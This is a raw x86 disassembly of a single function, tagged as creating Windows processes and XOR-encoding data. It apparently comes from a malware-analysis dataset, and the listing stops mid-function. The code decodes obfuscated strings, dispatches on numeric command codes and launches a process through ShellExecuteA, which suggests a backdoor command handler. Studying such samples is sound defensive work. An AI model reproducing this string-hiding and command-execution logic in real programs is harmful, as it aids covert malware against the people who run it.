Function at 0x4098f0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x461cc2
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x1e0
mov eax, dword [0x47a0bc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e8], ecx
push 0
push 0x463c77
mov ecx, 0x47a780
mov dword [ebp - 4], 0
mov byte [0x47a77c], 0
call fcn.004031a0
push 0x1024
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
sub esp, 8
mov dword [ebp - 0x1d0], 0x100c7c4
mov esi, esp
mov dword [ebp - 0x1e0], esp
push 6
push str.remove
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 6
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 6], 0
sub esp, 0xc
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x1e4], edx
cmp byte [ebp - 0x1cd], 0
je 0x4099e8
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 7
xor byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 2
jb 0x4099d0
mov byte [ebp - 0x1cd], 0
lea eax, [ebp - 0x1c9]
mov ecx, edx
push eax
lea eax, [ebp - 0x1ce]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00405d40
mov esi, dword [0x47a850]
sub esp, 0x18
mov edx, esp
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [edx], 0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x1e4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409a32
sub ecx, dword [ebp - 0x1e4]
push ecx
push esi
mov ecx, edx
call fcn.00401e80
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0xa8]
push eax
mov byte [ebp - 4], 0
call fcn.0040d820
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409a68
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409a70
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x409ab9
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409aaf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409aaf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045fabc
add esp, 8
push dword [0x47a850]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
sub esp, 0x14
mov ecx, edi
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ae3
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00401e80
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x1e9]
call fcn.00415db0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409b11
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409b15
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x409b5e
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409b54
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409b54
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045fabc
add esp, 8
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esp
push 1
push 0x463cb8
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 3
mov edx, esp
mov ecx, edi
mov dword [edx], 0
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409bb0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00401e80
lea eax, [ebp - 0x1dc]
mov byte [ebp - 4], 0
push eax
call fcn.0040ef30
add esp, 0x34
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x1dc]
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x409bf9
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x1e4]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x1e4]
je 0x40b230
cmp dword [edi], 0x22
je 0x40b23a
cmp eax, 0x22b
jg 0x409c91
je case.0x409cb9.730
cmp eax, 0xa3
jg 0x409c7c
je 0x409c4b
cmp eax, 0x67
je 0x409c4b
cmp eax, 0x71
jne case.0x409cb9.637
mov eax, dword [ebp - 0x1dc]
add eax, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x409c5c
mov eax, dword [eax]
push eax
call fcn.004133b0
add esp, 4
mov byte [0x47a77d], 1
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
sub eax, 0x193
je 0x409c4b
sub eax, 1
je 0x409c4b
mov byte [0x47a77c], 0
jmp 0x409c4b
cmp eax, 0x387
jg 0x40b024
je case.0x409cb9.701
add eax, 0xfffffd84
cmp eax, 0x91
ja case.0x409cb9.637
movzx eax, byte [eax + 0x40b264]
jmp dword [eax*4 + 0x40b24c]
mov eax, dword [0x47a854]
inc eax
mov dword [0x47a854], eax
cmp eax, 1
jne 0x409e41
push 4
call fcn.0045fa8c
add esp, 4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x409cf4
mov ecx, eax
call fcn.00413100
mov esi, eax
jmp 0x409cf6
xor esi, esi
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov word [ebp - 0x1d0], 0x3a
push eax
lea eax, [ebp - 0x1cf]
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00405d40
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov edi, esp
mov byte [ebp - 4], 6
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
push edi
call fcn.004140b0
add esp, 0x1c
mov byte [ebp - 4], 4
lea eax, [ebp - 0x64]
push eax
call fcn.0040ef30
add esp, 0x34
mov eax, dword [ebp - 0x64]
mov byte [ebp - 4], 7
cmp eax, 0x47a804
je 0x409d90
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x409d81
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x47a804
call fcn.004031a0
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x18]
cmp ecx, 0x47a7ec
je 0x409db5
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x409da6
mov ecx, dword [ecx]
push eax
push ecx
mov ecx, 0x47a7ec
call fcn.004031a0
mov eax, dword [ebp - 0x64]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
mov ecx, esi
push eax
call fcn.004131b0
mov esi, eax
cmp esi, 0x47a7d4
je 0x409e0d
mov ecx, 0x47a7d4
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47a7d4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47a7e4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea ecx, [ebp - 0x64]
mov dword [0x47a874], 0xf1
mov byte [0x47a77c], 1
call fcn.0040b470
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 2
jne 0x40a556
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x409e7b
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ea0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00401e80
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xc0]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x409ef6
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f20
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.00401e80
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xd
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xe
jb 0x409f76
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409fa0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xc0]
call fcn.00401e80
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x10
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x108]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x409ff6
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a020
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x198]
call fcn.00401e80
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x13
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x14
jb 0x40a076
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x108], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a0a0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00401e80
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x16
call fcn.004014e0
mov esi, dword [ebp - 0x1e8]
cmp dword [esi + 0x74], 0x10
lea ecx, [esi + 0x60]
mov edx, dword [ecx + 0x10]
jb 0x40a0d9
mov ecx, dword [ecx]
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push edx
cmovae eax, dword [ebp - 0xf0]
push ecx
push dword [ebp - 0xe0]
push eax
call fcn.00406980
add esp, 0x10
test al, al
jne 0x40a2ec
mov ecx, dword [esi + 0x28]
lea edi, [esi + 0x18]
mov eax, closesocket
mov dword [ebp - 0x2c], 0x99839fd7
sub eax, ecx
mov word [ebp - 0x28], 0x100
mov dword [ebp - 0x1d0], ecx
cmp eax, 1
jb 0x40b244
cmp dword [edi + 0x14], 0x10
jb 0x40a137
mov edi, dword [edi]
lea edx, [ecx + 1]
mov dword [ebp - 0x90], 0
mov esi, 0xf
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e8], eax
cmp edx, esi
jbe 0x40a1b2
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x40a181
mov esi, closesocket
jmp 0x40a18b
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x90]
call fcn.00401530
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x90], eax
push ecx
push edi
push eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x1e8]
add esp, 0xc
mov ecx, dword [ebp - 0x1d0]
mov word [eax + ecx], 0x5f
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push dword [ebp - 0xe0]
cmovae eax, dword [ebp - 0xf0]
lea ecx, [ebp - 0x90]
push eax
mov byte [ebp - 4], 0x17
call fcn.0040b560
push eax
lea ecx, [ebp - 0x70]
call fcn.004020e0
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x2c]
call fcn.00407eb0
mov ecx, eax
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push dword [ebp - 0x60]
cmovae eax, dword [ebp - 0x70]
push eax
push 0
mov byte [ebp - 4], 0x19
call fcn.0040cf60
push eax
lea ecx, [ebp - 0xa8]
call fcn.004020e0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x70]
call fcn.004014e0
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x16
call fcn.004014e0
cmp dword [ebp - 0x94], 0x10
lea eax, [ebp - 0xa8]
push 1
cmovae eax, dword [ebp - 0xa8]
push 0
push 0
push eax
mov dword [ebp - 0x70], 0x42da1ee2
lea eax, [ebp - 0x70]
mov dword [ebp - 0x6c], 0x7f3ccd7b
mov dword [ebp - 0x68], 0x2ebb45c6
mov dword [ebp - 0x64], 0x61038fc6
movaps xmm1, xmmword [ebp - 0x70]
push eax
mov dword [ebp - 0x90], 0x2cbf6e8d
mov dword [ebp - 0x8c], 0x7f3ccd7b
mov dword [ebp - 0x88], 0x2ebb45c6
mov dword [ebp - 0x84], 0x61038fc6
pxor xmm1, xmmword [ebp - 0x90]
push 0
movaps xmmword [ebp - 0x70], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0xa8]
mov byte [0x47a77d], 1
call fcn.004014e0
cmp dword [ebp - 0xc4], 0x10
lea ecx, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xc8]
cmovae ecx, edi
cmp esi, 1
jne 0x40a3ef
mov edx, 0x463c40
sub esi, 4
jb 0x40a331
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40a336
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40a320
cmp esi, 0xfffffffc
je 0x40a36a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40a363
cmp esi, 0xfffffffd
je 0x40a36a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40a363
cmp esi, 0xfffffffe
je 0x40a36a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40a363
cmp esi, 0xffffffff
je 0x40a36a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40a36a
sbb eax, eax
or eax, 1
jmp 0x40a36c
xor eax, eax
test eax, eax
jne 0x40a3ef
movaps xmm0, xmmword [0x463d90]
xor ecx, ecx
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x118], 0x5a4e4e09
movaps xmm0, xmmword [0x463e50]
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x114], 0x40404248
movaps xmm0, xmmword [0x463de0]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x110], 0x124054
mov byte [ebp - 0x10c], 1
mov al, cl
sub al, 7
xor byte [ebp + ecx - 0x148], al
inc ecx
cmp ecx, 0x3b
jb 0x40a3c1
lea eax, [ebp - 0x148]
mov byte [ebp - 0x10c], 0
push eax
call fcn.004133b0
add esp, 4
mov byte [0x47a77d], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x998e888d
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407eb0
mov esi, eax
cmp esi, 0x47a8d0
je 0x40a444
mov ecx, 0x47a8d0
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47a8d0], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47a8e0], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
mov ecx, dword [ebp - 0xf4]
mov dword [0x47a870], 0xd0035f3
mov byte [0x47a77c], 1
cmp ecx, 0x10
jb 0x40a497
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a48d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a52b
push ecx
push edx
call fcn.0045fabc
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x40a4cd
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a4c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a52b
push ecx
push edx
call fcn.0045fabc
add esp, 8
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x40a503
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a4f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a52b
push ecx
push edx
call fcn.0045fabc
add esp, 8
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x40a53b
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40a531
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a531
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045fabc
add esp, 8
lea ecx, [ebp - 0xf0]
call fcn.004014e0
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 3
jne 0x40a934
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x998e888d
mov word [ebp - 0x28], 0x100
call fcn.0040be70
push eax
push 0x47a8d0
call fcn.00406770
movzx ecx, byte [0x47a77d]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x47a870], 0xd0035f3
push 0xa
movzx eax, cl
cmovne eax, edx
push 0
mov byte [0x47a77d], al
sub esp, 0x18
mov eax, dword [ebp - 0x1dc]
mov ecx, esp
add eax, 0x18
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1a
call fcn.0040f240
add esp, 0xc
mov dword [0x47a6b0], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1b
jb 0x40a616
mov eax, dword [eax]
push eax
mov ecx, 0x47a6e4
call fcn.00407e00
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1c
call fcn.0040f240
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040f320
add esp, 8
mov ecx, 0x47a714
push eax
call fcn.00407dc0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1d
jb 0x40a6bc
mov eax, dword [eax]
push eax
mov ecx, 0x47a6fc
call fcn.00407e00
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1e
jb 0x40a6ff
mov eax, dword [eax]
push eax
mov ecx, 0x47a6cc
call fcn.00407e00
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1f
jb 0x40a744
mov eax, dword [eax]
push eax
mov ecx, 0x47a7ec
call fcn.00407e00
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x20
call fcn.0040f240
add esp, 0xc
mov dword [0x47a778], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x889e94d7
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407eb0
push eax
mov ecx, 0x47a8d0
call fcn.00407dc0
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x463e20]
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x180], xmm0
lea ecx, [ebp - 0x180]
mov dword [0x47a870], 0x369f
movaps xmm0, xmmword [0x463e30]
movups xmmword [ebp - 0x170], xmm0
push eax
movaps xmm0, xmmword [0x463df0]
movups xmmword [ebp - 0x160], xmm0
mov dword [0x47a878], 0x2c5aa
movaps xmm0, xmmword [0x463e00]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x110], 0xd1f0b2d
movaps xmm0, xmmword [0x463dc0]
movups xmmword [ebp - 0x140], xmm0
mov word [ebp - 0x10c], 0x100
movaps xmm0, xmmword [0x463d80]
movups xmmword [ebp - 0x130], xmm0
movaps xmm0, xmmword [str._._r_r_]
movups xmmword [ebp - 0x120], xmm0
call fcn.00407ef0
push eax
mov ecx, 0x47a8e8
call fcn.00407dc0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x47a77c], 1
push eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1d0], 0x100cfb0
call fcn.00407e70
push eax
mov ecx, 0x47a780
call fcn.00407dc0
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x463e70]
xor ecx, ecx
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0x607e6c7a
mov dword [ebp - 0x7c], 0x1007761
nop word [eax + eax]
mov al, cl
sub al, 7
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 0x16
jb 0x40a8d0
lea eax, [ebp - 0x1c9]
mov byte [ebp - 0x79], 0
push eax
lea eax, [ebp - 0x7a]
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00405d40
lea eax, [ebp - 0xa8]
mov ecx, 0x47a798
push eax
call fcn.00407dc0
lea ecx, [ebp - 0xa8]
call fcn.004014e0
inc dword [0x47a854]
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 4
je 0x409c6c
lea ecx, [ebp - 0x1dc]
mov byte [0x47a77d], 1
call fcn.0040b470
jmp 0x40b212
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x889e94d7
mov word [ebp - 0x28], 0x100
call fcn.0040be70
push eax
push 0x47a8d0
call fcn.00406770
movzx ecx, byte [0x47a77d]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x47a870], 0x369f
movzx eax, cl
lea ecx, [ebp - 0xa8]
cmovne eax, edx
cmp dword [0x47a878], 0x2c5aa
movzx eax, al
cmovne eax, edx
push 0x47a8e8
mov byte [0x47a77d], al
call fcn.00402120
lea eax, [ebp - 0xa8]
push 0x47a900
push eax
call fcn.00406740
add esp, 8
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xa8]
call fcn.004014e0
cmp byte [ebp - 0x1c9], 0
je 0x40a9f2
mov byte [0x47a77d], 1
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xc0]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x40aa23
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aa46
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.00401e80
mov ecx, dword [ebp - 0xac]
mov byte [ebp - 4], 0x23
cmp ecx, 0x10
jb 0x40aa9c
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40aa92
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40aa92
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045fabc
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea eax, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
push 8
push str.Req_IDNF
push dword [ebp - 0xc8]
cmovae eax, edi
mov dword [ebp - 0xb0], 0
push eax
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.00406980
add esp, 0x10
test al, al
je 0x40af69
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x24
call fcn.0040f240
add esp, 0xc
mov dword [0x47a6b0], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x25
jb 0x40ab5b
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ab60
sub ecx, esi
push ecx
push edx
